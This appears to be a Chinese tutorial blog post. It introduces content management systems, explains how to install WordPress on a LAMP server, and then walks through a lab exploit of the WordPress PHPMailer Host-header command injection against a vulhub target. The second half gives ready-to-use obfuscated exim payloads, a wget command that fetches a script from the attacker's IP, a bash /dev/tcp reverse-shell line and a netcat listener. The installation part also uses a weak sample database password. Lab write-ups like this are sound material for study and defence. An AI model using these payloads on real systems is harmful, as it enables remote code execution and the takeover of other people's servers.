CMS是Content Management System的缩写,意为"内容管理系统",是一种帮助用户创建、管理和修改网站内容而无需专业技术知识的软件
。内容管理系统是一种位于WEB 前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet(外网)网站的信息。
内容管理系(CMS)是一种综合性比较强的软件系统,是指在一个合作模式下,用于管理工作流程的一套制度。内容管理系统可以像中央存储器(central repository)一样,将相关内容集中储存,主要有内容收集、内容管理、内容智能和内容发布等四个功能。目前流行的内容管理系统大多实现了SEO,即搜索面向引擎优化的URL。
CMS系统存在的目的就是为了方便一些对网站编程、脚本代码不熟悉的人,来用一种比较简单的方式来建立、管理、运营自己的网站。CMS的功能并不只限于文本处理,它还可以处理图片、flash动画、声像流、图像甚至电子邮件档案。
在互联网刚开始的时候,网站都是使用HTML编码方式,采取手动更新页面、手工填充信息,这样非常麻烦。后来慢慢的出现了ASP、PHP、JSP等动态脚本来编写网站,这段时期的网站通过脚本和数据库的交互实现网站数据的传递、方便发布和管理。但这段时期的网站脚本程序的开发,需要很大的成本,正常情况下只有大型网站才会自己开发。而如今,随着CMS程序的出现、发展和开源,任何人都可以使用CMS程序来快速、便捷的创建一个完整的网站。
简单来说,内容管理系统是一种工具,可以帮助您快速构建网站,而无需从头开始编写所有代码(甚至你可以完全不了解代码)不需要您自己通过系统来创建网页、存储图像和其他功能,而是为您搭建好所有基本的基础设施内容,以便您可以专注于网站中更多面向前方的部分。
(1)DEDECMS织梦
是国内使用人数相当多的内容管理系统,模板以及开发教程很多,非常适合中小型网站制作建设,但现在已不更新,而且安全问题要站长们自己处理。
(2)帝国CMS
也是老牌的内容管理系统,帝国相比织梦更加的安全可靠,但是使用人数方面就没有使用织梦的多。
(3)WordPress
国外开发的系统,刚开始用来做博客,现在也被广泛应用在企业或CMS网站制作上面,插件以及模板非常的多,扩展能力强,但是由于是国外开发的,所以后台操作方面等可能刚开始用感觉不习惯。
(4)PHPCMS
:PHPCMS V9采用OOP(面向对象)方式进行基础运行框架搭建,非常适合二次开发,代码维护,满足所有网站的应用需求。
补充分类
1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS(.net平台)、Oracle甲骨文等;
2.B2C商城系统:商派shopex、ecshop、hishop、xpshop等;
3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMS(PHP+mysql)、PHPCMS、动易、cmstop,dianCMS(易点CMS,.net平台)等;
4.博客系统:wordpress、Z-Blog等;
5.论坛社区:discuz、phpwind、wecenter等;
6.问答系统:Tipask、whatsns等;
7.知识百科系统:HDwiki;
8.B2B门户系统:destoon、B2Bbuilder、友邻B2B等;
9.人才招聘网站系统:骑士CMS、PHP云人才管理系统;
10.房产网站系统:FangCms等;
11.在线教育建站系统:kesion(科汛,ASP)、EduSoho网校;
12.电影网站系统:苹果cms、ctcms、movcms等;
13.小说文学建站系统:JIEQI CMS;
14.政府网站群系统:JEECMS
php 5.2.4 或者更高版本、MySQL 5.0 或者更高版本。
mysql -V
php -v
安装LAMP服务器
(这里我已经安过)unzip -q wordpress-4.6.zip -d /var/www/html
cp -a * ..
(cp -a 此选项通常在复制目录时使用,它保留链接、文件属性,并复制目录下的所有内容)chown -R apache:apache /var/www/html
我们需要更改一些文件夹权限mkdir -p /var/www/html/wp-content/uploads
我们需要手动创建上传目录chown -R :apache /var/www/html/wp-content/uploads
允许Apache Web服务器写入uploads目录。通过将此目录的组所有权分配给您的Web服务器来执行此操作,这将允许Apache创建文件和目录。将配置WordPress的主配置文件,我们需要配置它的基本参数,以便可以与数据库和用户连接
在wordpress目录下mv wp-config-sample.php wp-config.php
创建配置WordPress数据库
mysql -u root -p
建立wordpress数据库
create user root1@localhost identified by '123456';
创建wordpress数据库账户&&设置密码
GRANT ALL PRIVILEGES on wordpress.* to "root1"@"localhost" identified by "123456";
授予wordpress数据库账户在wordpress数据库上所需权限
flush privileges;
刷新数据库缓存
修改配置文件,以便可以访问数据库
修改前
根据自己需要修改后
:wq!
保存退出
vim /etc/httpd/conf.d/vhosts.conf
mkdir /etc/httpd/vhosts.d/
vim /etc/httpd/vhosts.d/yourdomain.com.conf
ServerAdmin webmaster@yourdomain.com
DocumentRoot "/var/www/html/"
ServerName yourdomain.com
ServerAlias www.yourdomain.com
ErrorLog "/var/log/httpd/yourdomain.com-error_log"
CustomLog "/var/log/httpd/yourdomain.com-access_log" combined
"/var/www/html/">
DirectoryIndex index.html index.php
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
保存并关闭文件,重新启动apache服务以使更改生效
systemctl restart httpd
接下来,允许服务器防火墙中的Apache端口
重启相关服务
systemctl restart httpd.service
systemctl restart mysqld.service
http://你的IP地址或域名/wp-admin/
访问 就进入了word press安装页面了,照着要求填写就行了。http://192.168.8.140/wp-admin/setup-config.php
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4(跟邮箱相关的函数)替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
攻击机:kali(192.168.8.144)
靶机:centos7(192.168.8.148)
cd /root/vulhub/vulhub-master/wordpress/pwnscriptum
docker-compose up -d
以后台的方式运行容器,安装此漏洞环境
http://192.168.8.148:8080/wp-admin/install.php
访问地址
漏洞点在忘记密码处,输入用户名admin,点击获取新密码
http://192.168.8.148:8080/wp-login.php?action=lostpassword
打开攻击机kali使用burp suite对靶机进行抓包- 打开攻击机kali使用burp suite对靶机进行抓包
为靶机的火狐浏览器的设置里面设置代理,IP为192.168.8.144,端口号为8080
抓到包后将其发送到repeater模块
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/
构造payload进行测试,主要是利用对空格和“/”
进行以下转换
空格 换为 ${substr{10}{1}{$tod_log}}
substr{10}{1}是指取tod_log函数中的第10位,为空格
/ 换为 ${substr{0}{1}{$spool_directory}}
初始构造的payload(该payload的作用是在/tmp/下创建yhz的文件夹)
target(any -froot@localhost -be ${run{/bin/touch /tmp/yhz}} null)
转换之后的payload为
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yhz}} null)
发送拦截的修改过的数据包
我们需要满足以下要求才能利用此漏洞
注意:
1.执行的命令不能包含一些特殊的字符,例如:,’,"等。
2.该命令将转换为小写字母
3.该命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
docker ps -a
docker exec -it 7465c48aa3d6 /bin/bash
思路和写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的
攻击机开启web服务,写反弹shell命令,先用靶机测试一下看看能不能访问,注意关闭防火墙
bash -i >&/dev/tcp/192.168.8.144/7777 0>&1
#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/yy 192.168.8.144/yh1.txt}} null)
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy${substr{10}{1}{$tod_log}}192.168.8.144${substr{0}{1}{$spool_directory}}yh1.txt}} null)
在靶机环境查看,已经远程下载了的yy文件
上传shell之后,只需执行即可构造执行yyshell.txt的payload
target(any -froot@localhost -be ${run{/bin/bash /tmp/yy}} null)
转换之后为
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy}} null)
nc -vlp 7777